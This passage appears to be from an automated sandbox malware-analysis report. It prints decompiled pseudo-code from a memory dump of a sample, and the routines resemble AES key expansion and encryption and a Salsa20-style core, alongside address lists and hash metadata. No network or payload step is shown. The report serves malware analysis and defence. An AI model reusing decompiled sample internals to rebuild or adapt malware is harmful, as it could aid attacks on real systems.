                                                                                  					_a12 =  *(0xb79160 + (_t507 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb79560 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb78d60 + (_t393 >> 0x18) * 4);
                                                                                  					_t453 = _v20;
                                                                                  					_t519 = _a12 ^  *(0xb79960 + (_t453 & 0x000000ff) * 4);
                                                                                  					_a12 = _t519;
                                                                                  					_t145 =  &(_t512[6]); // 0xe8530875
                                                                                  					_a12 = _t519 ^  *_t145;
                                                                                  					_t156 =  &(_t512[7]); // 0x14c0
                                                                                  					_t420 =  *(0xb79560 + (_t453 >> 0x00000008 & 0x000000ff) * 4) ^  *(0xb79160 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(0xb78d60 + (_t507 >> 0x18) * 4) ^  *(0xb79960 + (_t393 & 0x000000ff) * 4) ^  *_t156;
                                                                                  					_t512 =  &(_t512[8]);
                                                                                  					_t157 =  &_a8;
                                                                                  					 *_t157 = _a8 - 1;
                                                                                  					__eflags =  *_t157;
                                                                                  				}
                                                                                  				_t394 = _v16;
                                                                                  				_t509 = _a16;
                                                                                  				asm("rol ecx, 0x8");
                                                                                  				asm("ror eax, 0x8");
                                                                                  				 *_t509 = ( *(0xb79d60 + (_v8 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_a12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_t394 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_a4 & 0x000000ff) * 4) & 0x000000ff ^  *_t512) & 0xff00ff00 | ( *(0xb79d60 + (_v8 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_a12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_t394 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_a4 & 0x000000ff) * 4) & 0x000000ff ^  *_t512) & 0x00ff00ff;
                                                                                  				_t184 =  &(_t512[1]); // 0x5350d045
                                                                                  				asm("rol ecx, 0x8");
                                                                                  				asm("ror eax, 0x8");
                                                                                  				_t509[1] = ( *(0xb79d60 + (_a12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_a4 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_v8 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_t394 & 0x000000ff) * 4) & 0x000000ff ^  *_t184) & 0xff00ff00 | ( *(0xb79d60 + (_a12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_a4 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_v8 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_t394 & 0x000000ff) * 4) & 0x000000ff ^  *_t184) & 0x00ff00ff;
                                                                                  				_t197 =  &(_t512[2]); // 0x151be8
                                                                                  				asm("ror eax, 0x8");
                                                                                  				asm("rol ecx, 0x8");
                                                                                  				_t509[2] = ( *(0xb79d60 + (_a4 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_t394 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_a12 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_v8 & 0x000000ff) * 4) & 0x000000ff ^  *_t197) & 0xff00ff00 | ( *(0xb79d60 + (_a4 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_t394 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_a12 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_v8 & 0x000000ff) * 4) & 0x000000ff ^  *_t197) & 0x00ff00ff;
                                                                                  				_t210 =  &(_t512[3]); // 0x14c48300
                                                                                  				asm("rol ecx, 0x8");
                                                                                  				asm("ror eax, 0x8");
                                                                                  				_t383 = ( *(0xb79d60 + (_t394 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_v8 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_a4 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_a12 & 0x000000ff) * 4) & 0x000000ff ^  *_t210) & 0xff00ff00 | ( *(0xb79d60 + (_t394 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_v8 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + (_a4 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + (_a12 & 0x000000ff) * 4) & 0x000000ff ^  *_t210) & 0x00ff00ff;
                                                                                  				_t509[3] = _t383;
                                                                                  				return _t383;
                                                                                  			}


























                                                                                  0x00b672f1
                                                                                  0x00b672f7
                                                                                  0x00b6730a
                                                                                  0x00b6730f
                                                                                  0x00b6731a
                                                                                  0x00b6731f
                                                                                  0x00b67324
                                                                                  0x00b67329
                                                                                  0x00b67333
                                                                                  0x00b67338
                                                                                  0x00b67340
                                                                                  0x00b67343
                                                                                  0x00b6734d
                                                                                  0x00b6734d
                                                                                  0x00b67352
                                                                                  0x00b6735a
                                                                                  0x00b6736c
                                                                                  0x00b6736c
                                                                                  0x00b6739c
                                                                                  0x00b673a2
                                                                                  0x00b673da
                                                                                  0x00b673e0
                                                                                  0x00b6740c
                                                                                  0x00b6740f
                                                                                  0x00b6741e
                                                                                  0x00b67427
                                                                                  0x00b6742a
                                                                                  0x00b67434
                                                                                  0x00b6745b
                                                                                  0x00b6745b
                                                                                  0x00b6745e
                                                                                  0x00b67466
                                                                                  0x00b6765c
                                                                                  0x00b6765c
                                                                                  0x00b6765f
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6746e
                                                                                  0x00b67489
                                                                                  0x00b674b4
                                                                                  0x00b674e7
                                                                                  0x00b674f0
                                                                                  0x00b67508
                                                                                  0x00b6752e
                                                                                  0x00b6752e
                                                                                  0x00b6755d
                                                                                  0x00b6755d
                                                                                  0x00b67596
                                                                                  0x00b6759c
                                                                                  0x00b675d4
                                                                                  0x00b675da
                                                                                  0x00b67606
                                                                                  0x00b67609
                                                                                  0x00b67618
                                                                                  0x00b67621
                                                                                  0x00b67624
                                                                                  0x00b6762e
                                                                                  0x00b67652
                                                                                  0x00b67652
                                                                                  0x00b67655
                                                                                  0x00b67658
                                                                                  0x00b67658
                                                                                  0x00b67658
                                                                                  0x00b67658
                                                                                  0x00b67673
                                                                                  0x00b67676
                                                                                  0x00b676c4
                                                                                  0x00b676c7
                                                                                  0x00b676d7
                                                                                  0x00b67724
                                                                                  0x00b67729
                                                                                  0x00b6772c
                                                                                  0x00b6773c
                                                                                  0x00b6778c
                                                                                  0x00b67791
                                                                                  0x00b67799
                                                                                  0x00b677a7
                                                                                  0x00b677f2
                                                                                  0x00b677f7
                                                                                  0x00b677fa
                                                                                  0x00b67809
                                                                                  0x00b6780c
                                                                                  0x00b67813

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: 36e7b719b44ea9eaf430abf20a000760022690e7ab44cdd4b610c5545e08ef0b
                                                                                  • Instruction ID: 0fb13073c3a868a6661690162c183c05ec5a06ee8318df37c4c4953eab39fdbd
                                                                                  • Opcode Fuzzy Hash: 36e7b719b44ea9eaf430abf20a000760022690e7ab44cdd4b610c5545e08ef0b
                                                                                  • Instruction Fuzzy Hash: C8E13D71A2015D8FC718CF2EEC9157A77B0FB4930174641AEE647D7292CE38EA61DB90
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 80%
                                                                                  			E00B67814(signed int* _a4, signed int* _a8, signed int* _a12) {
                                                                                  				signed int _t164;
                                                                                  				signed int _t180;
                                                                                  				signed int* _t197;
                                                                                  				signed int _t199;
                                                                                  				signed int* _t216;
                                                                                  				signed int _t218;
                                                                                  				signed int* _t222;
                                                                                  				void* _t223;
                                                                                  				signed int _t239;
                                                                                  				signed int _t259;
                                                                                  				signed int _t277;
                                                                                  				signed int _t295;
                                                                                  				signed int* _t298;
                                                                                  				signed int _t317;
                                                                                  				signed int _t320;
                                                                                  				signed int _t324;
                                                                                  				signed int _t331;
                                                                                  				signed int _t333;
                                                                                  				signed int _t335;
                                                                                  				signed int _t338;
                                                                                  				signed int _t345;
                                                                                  				signed int _t347;
                                                                                  				signed int _t350;
                                                                                  				signed int _t354;
                                                                                  				signed char _t357;
                                                                                  				signed int _t365;
                                                                                  				signed int* _t366;
                                                                                  				signed int _t372;
                                                                                  				signed int* _t373;
                                                                                  				signed int* _t374;
                                                                                  				signed int _t381;
                                                                                  				signed int _t388;
                                                                                  				signed int _t395;
                                                                                  				signed int* _t396;
                                                                                  				signed int* _t398;
                                                                                  				signed int* _t399;
                                                                                  				signed int* _t401;
                                                                                  				signed int* _t402;
                                                                                  
                                                                                  				_t298 = _a8;
                                                                                  				_t399 = _a4;
                                                                                  				asm("rol eax, 0x8");
                                                                                  				asm("ror ecx, 0x8");
                                                                                  				_t3 =  &(_t399[1]); // 0xb66ddc
                                                                                  				_t396 = _t3;
                                                                                  				 *_t399 =  *_t298 & 0xff00ff00 |  *_t298 & 0x00ff00ff;
                                                                                  				asm("ror eax, 0x8");
                                                                                  				asm("rol ecx, 0x8");
                                                                                  				 *_t396 = _t298[1] & 0xff00ff00 | _t298[1] & 0x00ff00ff;
                                                                                  				asm("ror eax, 0x8");
                                                                                  				asm("rol ecx, 0x8");
                                                                                  				_t399[2] = _t298[2] & 0xff00ff00 | _t298[2] & 0x00ff00ff;
                                                                                  				asm("ror edx, 0x8");
                                                                                  				asm("rol eax, 0x8");
                                                                                  				_t354 = _t298[3] & 0xff00ff00 | _t298[3] & 0x00ff00ff;
                                                                                  				_t399[3] = _t354;
                                                                                  				if(_a12 != 0x80) {
                                                                                  					asm("ror eax, 0x8");
                                                                                  					asm("rol ecx, 0x8");
                                                                                  					_t399[4] = _t298[4] & 0xff00ff00 | _t298[4] & 0x00ff00ff;
                                                                                  					asm("ror edx, 0x8");
                                                                                  					asm("rol eax, 0x8");
                                                                                  					_t357 = _t298[5] & 0xff00ff00 | _t298[5] & 0x00ff00ff;
                                                                                  					_t399[5] = _t357;
                                                                                  					if(_a12 != 0xc0) {
                                                                                  						asm("rol ecx, 0x8");
                                                                                  						asm("ror eax, 0x8");
                                                                                  						_t399[6] = _t298[6] & 0xff00ff00 | _t298[6] & 0x00ff00ff;
                                                                                  						asm("ror eax, 0x8");
                                                                                  						asm("rol ecx, 0x8");
                                                                                  						_t164 = _t298[7] & 0xff00ff00 | _t298[7] & 0x00ff00ff;
                                                                                  						_t399[7] = _t164;
                                                                                  						if(_a12 != 0x100) {
                                                                                  							return 0;
                                                                                  						}
                                                                                  						_a8 = 0xb7b564;
                                                                                  						_t93 =  &(_t399[2]); // 0xc35de58b
                                                                                  						_t365 = ( *(0xb79d60 + (_t164 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0xb79d60 + (_t164 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_t164 >> 0x18) * 4) & 0x000000ff ^  *(0xb79d60 + (_t164 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
                                                                                  						_t180 =  *_t396 ^ _t365;
                                                                                  						_t399[8] = _t365;
                                                                                  						_t399[9] = _t180;
                                                                                  						_t98 =  &(_t399[0xc]); // 0xb66e08
                                                                                  						_t366 = _t98;
                                                                                  						_t317 =  *_t93 ^ _t180;
                                                                                  						_a12 = _t366;
                                                                                  						_t100 =  &(_t399[3]); // 0x83ec8b55
                                                                                  						_t399[0xa] = _t317;
                                                                                  						_t399[0xb] =  *_t100 ^ _t317;
                                                                                  						do {
                                                                                  							_t103 = _t366 - 4; // 0x50e0458d
                                                                                  							_t197 = _a12;
                                                                                  							_t372 =  *(0xb79d60 + ( *_t103 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + ( *_t103 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(0xb79d60 + ( *_t103 >> 0x18) * 4) & 0xff000000 ^  *(0xb79d60 + ( *_t103 & 0x000000ff) * 4) & 0x000000ff ^  *(_t197 - 0x20);
                                                                                  							 *_t197 = _t372;
                                                                                  							_t199 =  *(_t197 - 0x1c) ^ _t372;
                                                                                  							_t373 = _a12;
                                                                                  							 *(_t373 + 4) = _t199;
                                                                                  							_t320 =  *(_t373 - 0x18) ^ _t199;
                                                                                  							 *(_t373 + 8) = _t320;
                                                                                  							 *(_t373 + 0xc) =  *(_t373 - 0x14) ^ _t320;
                                                                                  							_t374 = _t373 + 0x20;
                                                                                  							_a12 = _t374;
                                                                                  							_t216 = _a12;
                                                                                  							_t381 =  *(0xb79d60 + ( *(_t374 - 0x14) >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + ( *(_t374 - 0x14) >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0xb79d60 + ( *(_t374 - 0x14) >> 0x18) * 4) & 0x000000ff ^  *(0xb79d60 + ( *(_t374 - 0x14) & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t216 - 0x30) ^  *_a8;
                                                                                  							 *(_t216 - 0x10) = _t381;
                                                                                  							_t218 =  *(_t216 - 0x2c) ^ _t381;
                                                                                  							_t366 = _a12;
                                                                                  							 *(_t366 - 0xc) = _t218;
                                                                                  							_t324 =  *(_t366 - 0x28) ^ _t218;
                                                                                  							 *(_t366 - 8) = _t324;
                                                                                  							 *(_t366 - 4) =  *(_t366 - 0x24) ^ _t324;
                                                                                  							_t222 =  &(_a8[1]);
                                                                                  							_a8 = _t222;
                                                                                  						} while (_t222 != 0xb7b57c);
                                                                                  						_push(0xe);
                                                                                  						L4:
                                                                                  						_pop(_t223);
                                                                                  						return _t223;
                                                                                  					}
                                                                                  					_t331 = ( *(0xb79d60 + (_t357 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0xb79d60 + (_t357 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_t357 >> 0x18) * 4) & 0x000000ff ^  *(0xb79d60 + (_t357 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
                                                                                  					_t398 = 0xb7b564;
                                                                                  					_t239 =  *_t396 ^ _t331;
                                                                                  					_t399[6] = _t331;
                                                                                  					_t54 =  &(_t399[2]); // 0xc35de58b
                                                                                  					_t333 =  *_t54 ^ _t239;
                                                                                  					_t399[7] = _t239;
                                                                                  					_t56 =  &(_t399[3]); // 0x83ec8b55
                                                                                  					_t399[8] = _t333;
                                                                                  					_t399[9] =  *_t56 ^ _t333;
                                                                                  					_t401 =  &(_t399[0xa]);
                                                                                  					do {
                                                                                  						_t59 = _t401 - 0x18; // 0x75ff29eb
                                                                                  						_t60 = _t401 - 4; // 0xcecee8a5
                                                                                  						_t335 =  *_t59 ^  *_t60;
                                                                                  						_t61 = _t401 - 0x14; // 0x8df98b10
                                                                                  						 *_t401 = _t335;
                                                                                  						_t401[1] =  *_t61 ^ _t335;
                                                                                  						_t63 =  &(_t401[6]); // 0xf48b89
                                                                                  						_t401 = _t63;
                                                                                  						_t388 =  *(0xb79d60 + ( *(_t401 - 0x14) >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + ( *(_t401 - 0x14) >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0xb79d60 + ( *(_t401 - 0x14) >> 0x18) * 4) & 0x000000ff ^  *(0xb79d60 + ( *(_t401 - 0x14) & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t401 - 0x28) ^  *_t398;
                                                                                  						_t398 =  &(_t398[1]);
                                                                                  						 *(_t401 - 0x10) = _t388;
                                                                                  						_t259 =  *(_t401 - 0x24) ^ _t388;
                                                                                  						 *(_t401 - 0xc) = _t259;
                                                                                  						_t338 =  *(_t401 - 0x20) ^ _t259;
                                                                                  						 *(_t401 - 8) = _t338;
                                                                                  						 *(_t401 - 4) =  *(_t401 - 0x1c) ^ _t338;
                                                                                  					} while (_t398 != 0xb7b580);
                                                                                  					_push(0xc);
                                                                                  					goto L4;
                                                                                  				}
                                                                                  				_t345 = ( *(0xb79d60 + (_t354 >> 0x00000010 & 0x000000ff) * 4) ^ 0x01000000) & 0xff000000 ^  *(0xb79d60 + (_t354 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_t354 >> 0x18) * 4) & 0x000000ff ^  *(0xb79d60 + (_t354 & 0x000000ff) * 4) & 0x0000ff00 ^  *_t399;
                                                                                  				_t277 =  *_t396 ^ _t345;
                                                                                  				_t399[4] = _t345;
                                                                                  				_t19 =  &(_t399[2]); // 0xc35de58b
                                                                                  				_t399[5] = _t277;
                                                                                  				_t347 =  *_t19 ^ _t277;
                                                                                  				_t399[6] = _t347;
                                                                                  				_t399[7] = _t354 ^ _t347;
                                                                                  				_t402 = 0xb7b564;
                                                                                  				do {
                                                                                  					_t23 =  &(_t396[4]); // 0x120
                                                                                  					_t396 = _t23;
                                                                                  					_t395 =  *(0xb79d60 + (_t396[2] >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(0xb79d60 + (_t396[2] >> 0x00000010 & 0x000000ff) * 4) & 0xff000000 ^  *(0xb79d60 + (_t396[2] >> 0x18) * 4) & 0x000000ff ^  *(0xb79d60 + (_t396[2] & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t396 - 4) ^  *_t402;
                                                                                  					_t402 =  &(_t402[1]);
                                                                                  					_t396[3] = _t395;
                                                                                  					_t295 =  *_t396 ^ _t395;
                                                                                  					_t396[4] = _t295;
                                                                                  					_t350 = _t396[1] ^ _t295;
                                                                                  					_t396[5] = _t350;
                                                                                  					_t396[6] = _t396[2] ^ _t350;
                                                                                  				} while (_t402 != 0xb7b588);
                                                                                  				_push(0xa);
                                                                                  				goto L4;
                                                                                  			}









































                                                                                  0x00b67818
                                                                                  0x00b67821
                                                                                  0x00b67829
                                                                                  0x00b67831
                                                                                  0x00b67836
                                                                                  0x00b67836
                                                                                  0x00b6783b
                                                                                  0x00b67842
                                                                                  0x00b67847
                                                                                  0x00b67852
                                                                                  0x00b67859
                                                                                  0x00b6785e
                                                                                  0x00b67869
                                                                                  0x00b67871
                                                                                  0x00b67874
                                                                                  0x00b67882
                                                                                  0x00b6788b
                                                                                  0x00b6788e
                                                                                  0x00b6798b
                                                                                  0x00b67993
                                                                                  0x00b6799e
                                                                                  0x00b679a6
                                                                                  0x00b679a9
                                                                                  0x00b679b7
                                                                                  0x00b679c0
                                                                                  0x00b679c3
                                                                                  0x00b67add
                                                                                  0x00b67ae0
                                                                                  0x00b67aed
                                                                                  0x00b67af5
                                                                                  0x00b67af8
                                                                                  0x00b67b03
                                                                                  0x00b67b0c
                                                                                  0x00b67b0f
                                                                                  0x00000000
                                                                                  0x00b67c8f
                                                                                  0x00b67b17
                                                                                  0x00b67b60
                                                                                  0x00b67b73
                                                                                  0x00b67b7a
                                                                                  0x00b67b7c
                                                                                  0x00b67b7f
                                                                                  0x00b67b82
                                                                                  0x00b67b82
                                                                                  0x00b67b85
                                                                                  0x00b67b87
                                                                                  0x00b67b8a
                                                                                  0x00b67b8f
                                                                                  0x00b67b92
                                                                                  0x00b67b9a
                                                                                  0x00b67b9a
                                                                                  0x00b67bde
                                                                                  0x00b67be1
                                                                                  0x00b67be4
                                                                                  0x00b67be9
                                                                                  0x00b67beb
                                                                                  0x00b67bf1
                                                                                  0x00b67bf4
                                                                                  0x00b67bfb
                                                                                  0x00b67bfe
                                                                                  0x00b67c01
                                                                                  0x00b67c04
                                                                                  0x00b67c4e
                                                                                  0x00b67c54
                                                                                  0x00b67c56
                                                                                  0x00b67c5c
                                                                                  0x00b67c5e
                                                                                  0x00b67c61
                                                                                  0x00b67c67
                                                                                  0x00b67c69
                                                                                  0x00b67c71
                                                                                  0x00b67c77
                                                                                  0x00b67c7a
                                                                                  0x00b67c7d
                                                                                  0x00b67c88
                                                                                  0x00b67980
                                                                                  0x00b67980
                                                                                  0x00000000
                                                                                  0x00b67980
                                                                                  0x00b67a1d
                                                                                  0x00b67a1f
                                                                                  0x00b67a24
                                                                                  0x00b67a26
                                                                                  0x00b67a29
                                                                                  0x00b67a2c
                                                                                  0x00b67a2e
                                                                                  0x00b67a31
                                                                                  0x00b67a36
                                                                                  0x00b67a39
                                                                                  0x00b67a3c
                                                                                  0x00b67a3f
                                                                                  0x00b67a3f
                                                                                  0x00b67a42
                                                                                  0x00b67a42
                                                                                  0x00b67a45
                                                                                  0x00b67a4a
                                                                                  0x00b67a4c
                                                                                  0x00b67a4f
                                                                                  0x00b67a4f
                                                                                  0x00b67aa0
                                                                                  0x00b67aa2
                                                                                  0x00b67aa5
                                                                                  0x00b67aab
                                                                                  0x00b67aad
                                                                                  0x00b67ab3
                                                                                  0x00b67ab5
                                                                                  0x00b67abd
                                                                                  0x00b67ac0
                                                                                  0x00b67acc
                                                                                  0x00000000
                                                                                  0x00b67acc
                                                                                  0x00b678e8
                                                                                  0x00b678ea
                                                                                  0x00b678ec
                                                                                  0x00b678ef
                                                                                  0x00b678f2
                                                                                  0x00b678f5
                                                                                  0x00b678f9
                                                                                  0x00b678fe
                                                                                  0x00b67901
                                                                                  0x00b67906
                                                                                  0x00b67906
                                                                                  0x00b67906
                                                                                  0x00b67957
                                                                                  0x00b67959
                                                                                  0x00b6795c
                                                                                  0x00b67961
                                                                                  0x00b67963
                                                                                  0x00b67969
                                                                                  0x00b6796b
                                                                                  0x00b67973
                                                                                  0x00b67976
                                                                                  0x00b6797e
                                                                                  0x00000000

                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID:
                                                                                  • API String ID:
                                                                                  • Opcode ID: f9acdf4fe22035395ba505aca702f2cd98317425d05f001ec6a6d7126b44c28d
                                                                                  • Instruction ID: 7b632fbc5e6c7d3598b2cf1dafb852b29b9333ff2e7f990b54232e987d93dd9e
                                                                                  • Opcode Fuzzy Hash: f9acdf4fe22035395ba505aca702f2cd98317425d05f001ec6a6d7126b44c28d
                                                                                  • Instruction Fuzzy Hash: C2D13972B246058FD328CF2EDC90626B7E1EB8C301B45897DE49ACB355DB38E951DB90
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 69%
                                                                                  			E00B67093(void* _a4, void* _a8) {
                                                                                  				signed int _v8;
                                                                                  				signed int _v12;
                                                                                  				signed int _v16;
                                                                                  				signed int _v20;
                                                                                  				signed int _v24;
                                                                                  				signed int _v28;
                                                                                  				signed int _v32;
                                                                                  				signed int _v36;
                                                                                  				signed int _v40;
                                                                                  				signed int _v44;
                                                                                  				signed int _v48;
                                                                                  				signed int _v52;
                                                                                  				char _v56;
                                                                                  				signed int _v60;
                                                                                  				signed int _v64;
                                                                                  				signed int _v68;
                                                                                  				signed int _v72;
                                                                                  				signed int _v76;
                                                                                  				signed int _v80;
                                                                                  				signed int _v84;
                                                                                  				signed int _v88;
                                                                                  				signed int _v92;
                                                                                  				signed int _v96;
                                                                                  				signed int _v100;
                                                                                  				signed int _v104;
                                                                                  				signed int _v108;
                                                                                  				signed int _v112;
                                                                                  				signed int _v116;
                                                                                  				void _v120;
                                                                                  				signed int _t167;
                                                                                  				signed int _t198;
                                                                                  				signed int _t200;
                                                                                  				signed int _t206;
                                                                                  				signed int _t210;
                                                                                  				signed int _t216;
                                                                                  				signed int _t218;
                                                                                  				signed int _t229;
                                                                                  				signed int _t230;
                                                                                  				void* _t232;
                                                                                  				signed int _t233;
                                                                                  				signed int _t235;
                                                                                  				signed int _t236;
                                                                                  				signed int _t237;
                                                                                  				signed int _t239;
                                                                                  				signed int _t240;
                                                                                  				signed int _t241;
                                                                                  				signed int _t245;
                                                                                  				signed int _t247;
                                                                                  				signed int _t248;
                                                                                  				signed int _t249;
                                                                                  				signed int _t251;
                                                                                  				signed int _t253;
                                                                                  				signed int _t255;
                                                                                  				signed int _t257;
                                                                                  				signed int _t259;
                                                                                  				signed int _t261;
                                                                                  				signed int _t262;
                                                                                  				signed int _t263;
                                                                                  				signed int _t269;
                                                                                  				signed int _t270;
                                                                                  				void* _t272;
                                                                                  
                                                                                  				_t233 = 0x10;
                                                                                  				_v56 = 0xa;
                                                                                  				memcpy( &_v120, _a8, _t233 << 2);
                                                                                  				_t245 = _v72;
                                                                                  				_t235 = _v60;
                                                                                  				_t239 = _v64;
                                                                                  				_t269 = _v68;
                                                                                  				_t229 = _v76;
                                                                                  				_v8 = _v80;
                                                                                  				_v36 = _v84;
                                                                                  				_v24 = _v88;
                                                                                  				_v48 = _v92;
                                                                                  				_v44 = _v96;
                                                                                  				_v32 = _v100;
                                                                                  				_v20 = _v104;
                                                                                  				_v40 = _v108;
                                                                                  				_v16 = _v112;
                                                                                  				_v12 = _v116;
                                                                                  				_t167 = _v120;
                                                                                  				_v52 = _t245;
                                                                                  				_v28 = _t167;
                                                                                  				do {
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_v20 = _v20 ^ _t167 + _t245;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_v24 = _v24 ^ _v20 + _v28;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_t247 = _v52 ^ _v24 + _v20;
                                                                                  					_v52 = _t247;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_v28 = _v28 ^ _v24 + _t247;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_v36 = _v36 ^ _v12 + _v32;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_t270 = _t269 ^ _v36 + _v32;
                                                                                  					_t248 = _v44;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_v12 = _v12 ^ _v36 + _t270;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_v32 = _v32 ^ _v12 + _t270;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_t240 = _t239 ^ _v8 + _t248;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_v16 = _v16 ^ _v8 + _t240;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_t249 = _t248 ^ _v16 + _t240;
                                                                                  					_v44 = _t249;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_v8 = _v8 ^ _v16 + _t249;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_t251 = _v40 ^ _t229 + _t235;
                                                                                  					_v40 = _t251;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_t253 = _v48 ^ _t251 + _t235;
                                                                                  					_v48 = _t253;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_t230 = _t229 ^ _v40 + _t253;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_t236 = _t235 ^ _t253 + _t230;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_v12 = _v12 ^ _v28 + _v40;
                                                                                  					_t198 = _v12;
                                                                                  					_v116 = _t198;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_v16 = _v16 ^ _t198 + _v28;
                                                                                  					_t200 = _v16;
                                                                                  					_v112 = _t200;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_t255 = _v40 ^ _t200 + _v12;
                                                                                  					_v40 = _t255;
                                                                                  					asm("rol eax, 0x12");
                                                                                  					_v108 = _t255;
                                                                                  					_t257 = _v28 ^ _v16 + _t255;
                                                                                  					asm("rol eax, 0x7");
                                                                                  					_v44 = _v44 ^ _v32 + _v20;
                                                                                  					_t206 = _v44;
                                                                                  					_v96 = _t206;
                                                                                  					asm("rol eax, 0x9");
                                                                                  					_v28 = _t257;
                                                                                  					_v120 = _t257;
                                                                                  					_t259 = _v48 ^ _t206 + _v32;
                                                                                  					_v48 = _t259;
                                                                                  					asm("rol eax, 0xd");
                                                                                  					_v20 = _v20 ^ _v44 + _t259;
                                                                                  					_t210 = _v20;
